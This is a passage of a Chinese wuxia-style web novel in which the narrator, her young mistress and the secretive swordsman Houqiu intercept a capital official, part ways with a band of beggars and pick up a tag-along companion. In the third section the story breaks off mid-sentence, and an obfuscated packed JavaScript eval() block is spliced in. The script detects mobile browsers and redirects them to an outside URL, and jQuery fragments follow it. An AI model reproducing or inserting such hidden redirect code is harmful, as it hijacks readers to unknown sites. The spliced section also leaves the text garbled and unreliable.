1.
等待朝廷大员进入南郡的日子里,后丘几乎成了我的专职陪练对象。我的武功传承于“生死地”,心法路数皆与中原不同,故而北边和西边的名门大派,于我只是一个模糊印象,未曾对招也不懂奥妙。
见我懵懂,他逐一为我讲解,方才哪个招式是铜山派的剑法,哪个招式是凝云堂的步功,我才知道他的武艺竟承袭百家,对他的好奇和惊讶更深一层。
“你从哪学来这么多招式?”我问,“从前听闻习武最忌讳东一榔头西一棒子,今日看上这招,明日看上那招,哪个都没有精力深学,到头容易一事无成……可是看你,各家武学都没耽误,看来这话也不一定有道理。”
后丘就笑,他说自己没有师承,只是从小见过的习武之人太多,谁都爱教他一两个招式逗他玩,久而久之的,他就学成了大杂烩。
“还是有差别的,我的基本功并不好,临阵对敌多半靠经验和临场发挥,若逼我同你杀个你死我活的招,恐怕我早就落败了。”后丘道,“我很好奇,既然你是‘生死地’出身,武功也不错,为何江湖经验严重不足?”
我嘿嘿一笑,扯起谎来:“在象牙塔里待久了,闭门造车,从未踏出门派。”他却笑着摇头:“不然。我见过那样的人,和你不同。我猜你一向在深宅大院中当护卫,公子未嫁,你也随之困在阁中,近日才换了主人,或是别的什么缘故,流落江湖。”
他挺聪明的,猜了个八九不离十,只可惜我只有妙霰一个主人,至于她为什么不出门,一来是从小身体不好,将军看护得紧,二来是府里要什么有什么,跟随母亲出行她还嫌烦。
我摇头:“我不是护卫,我就是个供少主使唤的老妈,少主想让我打架,我就耍把式;少主想吃阳春面,我就烧柴火。”刚抱怨几句,屋里传来妙霰的嚎叫:“黑泥!我袖口破了!”我一边走一边道:“少主袖口破了,我就把她嘴巴缝上。”
“我袖口儿也破了……”说这话的是一直绑在屋后的胖子,后丘待她不错,一日三餐地伺候着,她十分受用,不仅事事配合,还几乎有点赖这儿不走的意思了。我进屋前转头,看见后丘蹲在胖子面前,给胖子查看袖口那个破洞时,心里莫名有点排斥。
赶紧把这胖子弄走吧,越来越不像话了。
我在窗里当裁缝,后丘在窗外当裁缝,我眼睛盯着妙霰的衣服,耳朵有一搭没一搭地听她俩说话。
“我还没娶亲呢。”胖子是个话痨,谁也没问她,自顾自地就念叨起来了,“她们都说‘先立业再成家’,让我去姑姑手下谋个职,成了衙门的人,就不愁没亲事谈。谁料八字还没一撇,就被你们抓了,我估计姑姑仕途都得跟着完蛋……这条路堵了,以后我做什么呢?”
后丘问:“你姑姑当什么差的?”
胖子道:“管缉拿传唤的。”
“你不回去,姑姑不着急吗?”
“她可能当我是嫌累,在家装病吧,前几日我的确向她抱怨过。若去我家找我,发现我不在,或许会问我家人……诶呀,我平日不爱走动,突然就不见了,恐怕她们要吓一跳。”
后丘不动声色地缝完了她的袖子,转至屋里找我们商量,我苦笑道:“还以为是个小喽啰,没想到是关系户,那边没准儿已经发现她失踪了,这可怎么办?”
后丘道:“不能等官员进南郡了,我打算带着证人证物北上,拦她的车驾。”
——
2.
后丘行事并不含糊,吃过饭后,我们立即收拾出几日用的干粮,带着胖子离开。临走前,我还想帮他用木柴堵好门扉,他却将我劝住。
“不用忙活了,大概没有这个必要。”他道,“我每次离家,都当再也不回来了。”
我看看里面整洁的一切,就连妙霰住在这儿的日子里,都小心地把各物维持在原本的位置上,这在将军府都是绝无仅有的。我们都挺喜欢这里,若再回不来,真有些可惜。
但后丘丝毫没留恋,去后山取来他偷养的两匹马,回来对我们说:“此人太重,合乘只怕要累坏了我的马儿,等会儿出城,劳烦黑泥侠士再‘弄’来一匹吧。”
这名字怎么听怎么别扭,去他的代号吧,我行不更名坐不改姓:“我叫彭可久,以后还是这样称呼吧。”
所谓的“弄”,就是偷抢骗的雅致叫法,跟着妙霰出门以来,杀人越货的勾当已经不会让我心慈手软了。很快,我偷来了驿站里一匹灰白花的客马,根据我的经验,此马脚力不错,就是没太认主,我用点手段引诱,就乖乖地对我示好,我立即斩断绳索,逃之夭夭。
我和妙霰一人骑一匹,胖子则时而打横时而直坐地与后丘共乘。他自己的两匹马没跑多远就相继累得气喘吁吁,最后上了我偷来的灰白花,这马真不孬,背上放个胖子和成年男子,气也不喘腿也不抖,她们都赞我眼光独到,偷来这么一匹良驹。
按照后丘不知从哪得来的情报,我们一路北上,逐渐远离南郡。妙霰和我都从来没走过这么远的路,但听后丘说,这里以北还有更为广袤的国土。
当周围的鸟鸣换了一种腔调,左进的树木也不再是曾经的样子时,我望着远方的前路,心中有种若隐若现的激动。所谓的“江湖”不在某个破庙,也不在对招和门派,而在于天高地远、任凭来去的自在。
我很想去北边看看,寻找从小耳朵听腻了的历史故事风化的痕迹,但我说了不算,今后的路还得看妙霰的心意。
那日我们终于走出六火坞的城关吴道,这是南郡以北最后的关卡,出了这里,就到了木流府。京官南下有两条道,一条经行建州府至许关,一条经行顺靖、长中、木流三府至六火坞。根据后丘的情报,官员巡查的上一站正是长中府,若他情报有误,我们可就扑空了。
“他到底从哪里来的情报?”
我们这一早就埋伏在木流府至吴道的官道上,等待后丘所说的京官的车驾。妙霰等得没耐性,一边揪草籽儿一边问我:“江湖上有朋友也就罢了,怎么官府还有人脉?这段时日他把咱们看了个透,咱们连他从哪来到哪去都不知。”
那怎么办?已经上了贼船,说什么都晚了,妙霰刚要继续耳语对后丘的质疑,我就感觉地面传来一阵震动,果然,远处可见车马数个,辚辚而来,头前的马上插着根长杆,挑着一面袖织了“荆”字的飘旗。
还真让他堵到了!
“你们按兵不动,等我消息。”后丘吩咐一句后,拽起胖子去我们前面的路旁等候。眼见车马近了,他当路一跪,引来卫兵呵斥盘问,待马车上来一位文官,他也不知说了什么,对方就带着他和胖子上了后面的马车,然后就是我目力所不及了。
此后我和妙霰偷偷转移到易于观察的一侧草丛中潜伏,不到半个时辰,后丘一人下了车,那位京官竟然也跟了下来,两人长揖相送。看得我和妙霰云里雾里的,车队再次启动,后丘来找我们,道句:“成了。”
妙霰道:“你到底是什么人呐!”
——
3.
我算是看出来了,这男人表面好商好量,有问必答,态度诚恳,实则嘴里不会说一句关于自己的真话。
他又跟我们兜起圈子,鬼话也无需赘述了,总之乍一听还可信,细细琢磨就出了纰漏。行走江湖,谁都有不想明说的秘密,我和妙霰亦然。
一开始妙霰还有点介意对方的不诚实,但她对规则适应得很快,在路上骑马走着,慢慢就沉浸于为自己编一套身份剧本了。
“我母亲是蛟河上打鱼的,但我和姐姐不喜欢,于是离家出走,想谋个别的差事,”她现学现卖道,“都说可以去衙门当个拿人的官役,稳定又威风,但我们在密宁考试那天,不知从哪冒出个胖子被免试录用了,一看就是关系户!我和姐姐只能走了。”
后丘和她一唱一和:“既是打鱼的,我问你,如今鱼价几何?”把妙霰问懵了,求助地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353122|183580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看我,我随口道:“一两银子一条。”妙霰道:“你放屁!”我嘎嘎地笑了,她现在总算知道钱的价值了。
我们去时紧赶慢赶,生怕错过京官,回去优哉游哉,一路说说笑笑。重回密宁城时,听闻京官已经到了,毫不留情直驱府衙,将草间街两侧院落一并查封,乞丐工匠都被招去问讯作证,街坊传言纷纷,都说京都的官员料事如神,圣上耳聪目明,一点风吹草动也逃不过她的眼睛。
我们还是想回后丘的小房子歇息,结果确如其所言,那里已经付之一炬,想来是追踪胖子的时候,查到了我们的踪迹,还好我们先走一步。
妙霰十分惋惜地看着焦土,后丘倒是毫无留恋:“我习惯啦,江湖人自当四海为家。”说得妙霰若有所思。
——
4.
没过几日,乞丐们就被放了出来,妙霰随我同去接人。听闻密宁官府已经换了一批临时管事的官吏,在京官的要求下为乞丐们置办真正的收容所,但多数人不爱去。
“总舵主去哪,我们还去哪。说实话,好房子住着还怪不舒坦呢,谁知道后面又有什么陷阱等着?”
她们仍想跟着妙霰,这让她非常欣慰,但她的态度格外微妙。她等来了另一拨被丐帮庇佑的手下送回,在之前“总舵”的根据地里,宣布了解散的消息。
“我不知道以后会去哪里,但大概不会一直待在密宁。圣上的官员既然有心安置你们,我也就放心了。望大家各自珍重。”她道,“相识一场是缘分,将来江湖路远,没准儿还会见面。”
她自愿做回光杆司令那日,密宁衙门敲锣打鼓来访,她们是来找后丘的。起初后丘不想见,对方拿出一包银子,讲明这是贪官的罚俸,按规定,要赠予直言举报之人。
后丘说自己不为财不为名,罚俸用在别处吧,对方却道:“若侠士不肯收赏,传播出去,将来举报者为求美名,亦不敢收。无赏无为,往后悠悠民口无一直言,圣上耳目又怎会常新?”
后丘这才不再推辞。
“接下来要去哪呢?”
我问妙霰,她好像有心事,又像没想好,听闻后丘要北上,就骑马送他。行到郊野后,后丘说不必送了,我们就勒住马看他独自远去。
妙霰表情仍不痛快,我怕她想喝水,就去包裹里摸水囊,谁知让我摸到一块沉甸甸的东西,打开一看,竟是后丘的赏银。天知道他什么时候把银子塞进我的包袱的。
这怎么行啊,我们决定追去,身后却突然传来一个慌张的呼叫:“姐姐别走!”转头一看,原来是宝柳跌跌撞撞跑来。
妙霰早已委托手下安置好宝柳,谁知他又跟来了。
“姐姐带上我吧!”宝柳哀求道,“若不要我,今后谁来侍奉姐姐?”
我看妙霰的表情,似也有诸多不舍,但还是下定决心拒绝。
“我不需要侍奉,从此我不当小姐了。”她从我手里拿走整包银子,一股脑塞给宝柳,“你好好照顾自己,这些钱当是我欠你的。你如今伤口好了,衙门也有心安置,先用这笔钱过活,若不够用,去冯台府找妙将军,就说是霰儿让你来的。”
宝柳愣愣地捧着银子,眼泪止不住流下:“你们一个个,都觉得我是拖累……”
“不是,不是。”我见不得他委委屈屈的小样,刚要劝他,身后有马蹄声得得传来,转头一看,竟是刚刚分别的后丘,他慌里慌张地骑着那匹灰白花马跑在前头,后面跟着几个黑的白的枣红的追兵,一路喊过来:“你个偷马的恶贼!总算逮到你了,给我站住!”
后丘见我们还在路口没走,双眼登时放光,勒马冲我道:“赏银在你包袱里,快借我点,打发了她们……”
我看向宝柳,他察觉生机降临,登时抓紧了银子,瞪着通红的双眼奋声说道:“带上我!”
“带带带,”我抢过钱,顺手抛给后丘,终止了妙霰抛家舍业的闹剧,“咱都答应过甲刀的,你这么做不地道。”